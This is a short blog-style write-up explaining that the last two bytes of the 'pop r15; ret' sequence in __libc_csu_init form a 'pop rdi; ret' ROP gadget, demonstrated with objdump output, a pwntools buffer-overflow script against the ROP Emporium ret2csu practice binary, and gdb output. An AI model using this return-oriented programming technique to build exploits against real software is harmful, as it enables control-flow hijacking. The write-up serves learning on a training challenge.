TL;DR: The last two bytes of __libc_csu_init()
is actually a pop rdi; ret
gadget.
1. Introduction
Today I read this interesting post about __libc_csu_init()
.
Let’s first take another look at our two gadgets inside __libc_csu_init()
:
0x0000000000400880 <+64>: mov rdx,r15
0x0000000000400883 <+67>: mov rsi,r14
0x0000000000400886 <+70>: mov edi,r13d
0x0000000000400889 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040089a <+90>: pop rbx
0x000000000040089b <+91>: pop rbp
0x000000000040089c <+92>: pop r12
0x000000000040089e <+94>: pop r13
0x00000000004008a0 <+96>: pop r14
0x00000000004008a2 <+98>: pop r15
0x00000000004008a4 <+100>: ret
By using these two gadgets, we can control the value of %rbx, %rdx, %rsi, %edi, %rbp, %r12, %r13, %r14 and %r15…but what about the higher 32 bits of %rdi? 🙁
Normally when we reach <__libc_csu_init+98>
, we execute a pop r15; ret
gadget. However, the post I read said that if we ret
to <__libc_csu_init+99>
, we actually get a pop rdi; ret
gadget instead, which sounds crazy to me. Let’s see:
First we write a simple assembly program to see the hex representation of pop r15; ret
.
peilin@PWN:~/expr/__libc_csu_init$ cat > pop_r15.s
pop %r15
ret
peilin@PWN:~/expr/__libc_csu_init$ as -o pop_r15.o pop_r15.s
peilin@PWN:~/expr/__libc_csu_init$ objdump -d –disassembler-options=intel-mnemonic pop_r15.o
pop_r15.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 41 5f pop r15
2: c3 ret
The hex representation for pop r15; ret
is 41 5f c3
.
What about pop rdi; ret
?
peilin@PWN:~/expr/__libc_csu_init$ cat > pop_rdi.s
pop %rdi
ret
peilin@PWN:~/expr/__libc_csu_init$ as -o pop_rdi.o pop_rdi.s
peilin@PWN:~/expr/__libc_csu_init$ objdump -d –disassembler-options=intel-mnemonic pop_rdi.o
pop_rdi.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 5f pop rdi
1: c3 ret
Interesting. The hex representation for pop rdi; ret
is 5f c3
. In other words, by executing only the last two bytes of pop r15; ret
, we execute a pop rdi; ret
.
This means that now we can control the entire %rdi register!
2. Revisiting ROP Emporium: ret2csu
To illustrate this idea, we revisit the ret2csu
challenge from ROP Emporium. You can learn more about this challenge in here, or my previous write-up for it.
In this challenge we were asked to set %rdx to 0xdeadcafebabebeef
. Now let’s play with it a little bit and see if we can set %rdi to 0xdeadcafebabebeef
with our new gadget instead.
The modified Python script looks like:
#play.py from pwn import * elf = context.binary = ELF('ret2csu') print("Address of __libc_csu_init(): %#x" %(elf.symbols.__libc_csu_init)) p = process(elf.path) gdb.attach(p) pad = "A" * 40 pop_rdi = p64(elf.symbols.__libc_csu_init + 99) rdi = p64(0xdeadcafebabebeef) payload = pad + pop_rdi + rdi p.recvuntil("\n> ") p.sendline(payload) p.interactive()
Note that we are doing nothing after simply setting value to %rdi, so the program is doomed to crash. We attach gdb
to it and stop right before it crashes:
Breakpoint *0x00000000004008a4
gdb-peda$ x/i $pc
=> 0x4008a4 <__libc_csu_init+100>: ret
gdb-peda$ reg rdi
RDI: 0xdeadcafebabebeef
Very good.
3. Conclusion
As a C
programmer, I remember that it took me some time getting familiar with assembly code. Here we are even breaking assembly code into pieces! You never go too deep when dealing with PWN, I guess.